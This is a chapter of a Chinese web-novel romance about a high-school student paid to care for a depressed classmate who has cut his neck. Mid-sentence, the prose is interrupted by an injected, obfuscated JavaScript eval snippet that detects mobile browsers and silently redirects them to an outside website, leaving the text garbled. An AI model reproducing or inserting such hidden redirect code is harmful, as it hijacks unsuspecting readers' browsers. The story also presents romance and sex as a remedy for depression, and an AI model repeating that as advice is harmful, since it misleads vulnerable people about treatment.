酒吧来了个明艳大美女,谢雪姚坐在江逸面前,“江同学,叫我来什么事?”
江逸开门见山,“他脖子上的伤怎么回事?”
谢雪姚脸上的笑容收敛,“你这么快就知道了?”
“姐姐,那个医院,我觉得不靠谱,总是见不到医护人员,用的药物不见效。饭菜还难吃得要命。”
谢雪姚垂眸,“我知道把他扔在那里是下下之策,要不你把他领走吧?”
“什么?”酒吧里吵闹,江逸有点不相信自己的耳朵,“他现在这个状态,我领走,他想不开算谁的?”
“玩死了,算我的。”谢逾白割脖子的时候,谢雪姚当时吓得要死,她只不过想推动江逸接受他们的钱,又没有恶意。
谢逾白喜欢他好几年了,要说这个世上有谁能把他拽出来,只有江逸。
“三百万,给我卡号,你把他领走六个月。”
江逸看着酒壶,脑中浮现谢逾白侧颈的白纱布,心中有种莫名的冲动,“正常护工多少钱一个月?”
“三万。”
“那么贵?”
谢雪姚撩了撩头发,“我家雇的就是这个价格。”
“行,三万一个月,我把他领走,包吃包住,尽量包他活着,如果中途他不愿意,或者我不愿意,立刻停止。”
谢雪姚从包里翻出一堆打印的资料,还有药物,“医院本来建议他明天出院,他可以服用药物代替注射。资料是医生给我的,我整理出来的,你有空的时候看一看,尤其是红色文件夹里面的。”
“我明天拟定劳务合同,和免责声明,你不要有任何后顾之忧。”谢雪姚心里有数,现在回想,谢逾白昨天的举动多半是为了震慑她。
江逸只要一天没跟别人在一起,谢逾白不会想不开。她在赌,赌江逸是谢逾白唯一的药。
四年前他能把人拽出来,四年后一定也可以。
打烊之后,江逸靠在吧台,点燃一根烟。
宋越笑着,“刚才听见你跟萧哥辞职了。”
“嗯,最近有点事。”
“那天晚上骚扰你的老孟,道上混大的,有点势力,报警以后只拘留了三天,你小心点。”
“我知道,所以我避开了。”江逸知道,在酒吧的工作不是长久之际,鱼龙混杂,好在半年里攒了点钱,一年的房租有了着落,高考以后假期很长,有更多时间打工。
前段时间他没有选择,工作时间段从晚上八点到半夜十二点,只有酒吧。
“快高考了,你集中精力是对的。”他看着江逸笨拙的抽烟动作,“你会抽吗?”
“不会。”
“瞎尝试什么,这玩意不是好东西。今天来找你的大美女是谁?你们聊得挺久的。”
“同学的姐姐,我同学生病了,她希望我帮忙照顾一阵。”
“男同学女同学?”
江逸扯着唇笑:“你见过,冲一万块的那个。”
“知道了,大帅哥家里豪到不行。有人看到豪车送他来的酒吧。”宋越咬着烟嘴,“他是不是对你有点意思?”
“这回你可猜错了,他看上我兄弟了,被拒绝了,正伤心欲绝,他心理有点问题。”
“有钱人哪有几个正常的?你跟他交往注意点。”
江逸实在忍不了这鬼烟了,呛嗓子,真不知道这玩意有什么好的?他把烟头扔了,“我有分寸,放心。”
“越子,我不明白,你喜欢过人吗?可以为了另一个人要死要活吗?”
“情种?我不是。你呢?”
江逸嗤笑一声,“我也不是。”
“谁是?”
“少爷是。”
江逸漫不经心打开红色文件夹,看到里面的文字,眉梢挑了挑。
*
黑色迈巴赫停在巷口,谢逾白手里托着行李箱下车,街角的杂志亭,旁边的糖水铺子,奶茶店,高矮参差的老旧居民楼,跟他生活的地方像两个世界。
糖水铺子的胖阿姨,笑眯眯地跟杂志亭老板娘聊天。
“你看那个小伙子,长得多精神!”
“他坐的车,好贵的吧,几百万那种。”
“谁家的小少爷怎么跑这里来了。”
胖阿姨看着站在远处,略显局促的谢逾白,喊了一嗓子,“小伙子,你找谁?”
巷子的另一个方向传来懒散的声音,“二姨,找我的。”
“找你的?他谁啊?”
“我同学,来我家玩一段时间。”江逸走到谢逾白面前。
谢逾白修长的手指握着行李箱的拉杆,眼神飘忽地到处看,远处黑压压的楼群像乌云,压着地面。
江逸唇角卷笑,“走吧,迷路的少爷,我来接你了。”
谢逾白视线聚焦在他身上,江逸穿着简单的运动装,眉清目朗,眼尾微扬。
江逸手伸过来,要接过他手里的行李箱,谢逾白换一只手拿着,“我自己拖。”
江逸带着他左拐右拐,走了一段户外的楼梯,上到四楼,看见一个老旧的单元门,门的右上方有一块蜘蛛网。
谢逾白眼神变得奇怪,不可思议,“这房子,不会只有二十年。”
“谢少爷,欢迎你来体验生活。过了我的日子,你就知道自己生活多美了。”
楼道里的地面灰扑扑的,好像几年没人打扫过。
江逸打开一扇老旧的门,房子有一百平,淡黄色的木质地板,边缘有起皮的部分,好在屋内比较整洁。
江逸撕开一双新的蓝色塑料拖鞋,有种淡淡的胶皮味道,“给你穿,我今天刚买的。”
谢逾白洁白的袜子穿进去,看上去有点滑稽。
江逸笑得开怀,“你这辈子穿过十块一双的拖鞋吗?”
谢逾白抬了下脚,尺码还算合适,如实回答,“没有。”
阳台的光线很好,老楼总层数六层,阳台养着好多多肉,生机勃勃的,有个长方形的鱼缸,里面金黄色的小鱼游来荡去。
两室两厅两卫的格局,江逸指着主卧说,“你以后住在这间房,阳面,光线好。”
谢逾白托着行李箱进去,主卧有两张床,1.5×2米的,一张挨着墙,一张挨着窗户,窗外绿树杂乱生长,在白色墙上留下树影。
“我住哪张床?”
江逸倚在门边,“随你选。”
靠墙的床上铺着蓝色的格子床单,有种寝室的既视感,床单褶皱很新,应该是新买的,谢逾白坐下,闻到了淡淡的阳光味道,“房间为什么有两张床?”
“知知小的时候害怕,跟我睡在一个卧室,她睡在窗边。”
知知?谢逾白知道他有个亲妹妹,母亲改嫁以后,跟着他,这些是他无意间听说的。
谢逾白忽然有种不自在感,也就是说,他坐着这张床,是江逸睡了好久的床。
他似乎闻到了江逸身上淡淡的气息残留在床上。
看他局促的样子,江逸淡淡一笑,“你放心,我知道你矜贵,床品里里外外全换新的了。”
谢逾白幽深的眼瞳看过去,问出疑惑,“你为什么要我来你家?”
江逸嘴角一卷,“还能为什么,为了钱呗,你姐给的不少。”他毫不避讳地坐在谢逾白身边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305451|182817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,手里拎着个文件夹,“你看过这些资料吗?”
谢逾白接过,打开,看了几眼,视线定格在:大部分抑郁症患者会丧失基本的生活兴趣,例如食欲,性.欲,如果患者保留哪种兴趣,可以通过满足他,改善他的情绪。
例如,美食、谈恋爱、牵手、拥吻、性.爱,这些美好的体验,帮助过很多患者走出低落情绪。
看到拥吻开始,谢逾白呼吸开始不稳,手指捏着文件夹,“你给我看这些,做什么?”
江逸姿势自在地往后坐了坐,头靠着墙,语气稀松平常,“你在医院用了那么多药,不见好转,试试这个呗。”
“哪个?”谢逾白转头,空气中的微小尘埃他都能看到,胸腔里的心加速跳动。
“你跟我打哑谜?你不是看到了?你因为什么得的病?换个人,你跟我试试,怎么样?”江逸一双扇形眼眸澄澈灵动,看起来不像在开玩笑。
谢逾白手在身后,在别人看不见的角度抓紧床单,语气镇定,“你又想搞什么?”
江逸长腿移动,往前凑了凑,视线瞧着他右侧脖颈,“你伤口不小。”他手指靠近,剥开谢逾白的发尾察看伤口。
谢逾白僵着身子,感受到指腹落在他的皮肤上,粗糙的指腹纹路来回碾压,他的伤口不算深,刚长出来新肉,被抚摸的时候,有种痒痒的感觉。
他转动脖子,往后闪躲。
江逸扣住他的后颈,眼神熠熠,“你喜欢他什么?喜欢他很久了?”
谢逾白不回答。
“他不管你,你看看我,我对你好,我照顾你六个月,不让你伤心,不让你受伤,你觉得怎么样?”江逸的手指绕过去,捏着谢逾白耳朵边缘。
他的耳朵边缘红红的,干净青涩。
“六个月以后呢?”谢逾白苦笑,“这就是你说的玩玩的意思,玩完了甩掉我?”
江逸一副无所谓的表情:“六个月以后再说,谁能预知以后的事?”
“你是直男,何必呢?可怜我?”谢逾白心中苦涩,话语也艰涩。
江逸舔了下唇,他的唇色天然红润,弧形漂亮,他往前蹭了蹭,膝盖抵住谢逾白的腿,“你在怕什么?我很好奇,你到底是上面的,还是下面的?”
谢逾白面色尴尬,“你……”
“快说。”
“我不知道。”
江逸忍俊不禁,“你为了人家,脖子都割了,不知道自己是哪一方?”
谢逾白撇他一眼,视线又挪开,“我没想那么多,没想过要发展什么。”对一个直男,能发展什么?
“什么年头了,你搞纯爱?”江逸手撑着太阳穴,脸上笑意盎然,“你太纯情了。说真的,你看看我,我长得比周靖泽强太多了。”
谢逾白蹙起眉:“你能不能别提这个名字?”
“勾起你的伤心事了?成,以后我不提。不许岔开话题。”江逸捏着他的下颌,跟自己对视,“你看我,长得不够好?”
他眼瞳晶晶亮,眼底微光浮动,笑起来唇角往上卷,露出一点红嫩的唇肉。
咚咚咚!谢逾白心跳失衡,胸腔一阵热气翻滚,耳朵红透,视线瞥向一旁。
“你怎么不看我?在心虚什么?”
谢逾白压制心里的狂躁,“我喜欢谁,不是看长相。”
“啊?那你看什么?”
“看内在。”
江逸挑眉轻笑:“内在?那种东西我没有。”
谢逾白错愕地望着他。
江逸弯着唇,“我只看外在,我是颜控。如果看内在和性格,八百年也落不到你身上。”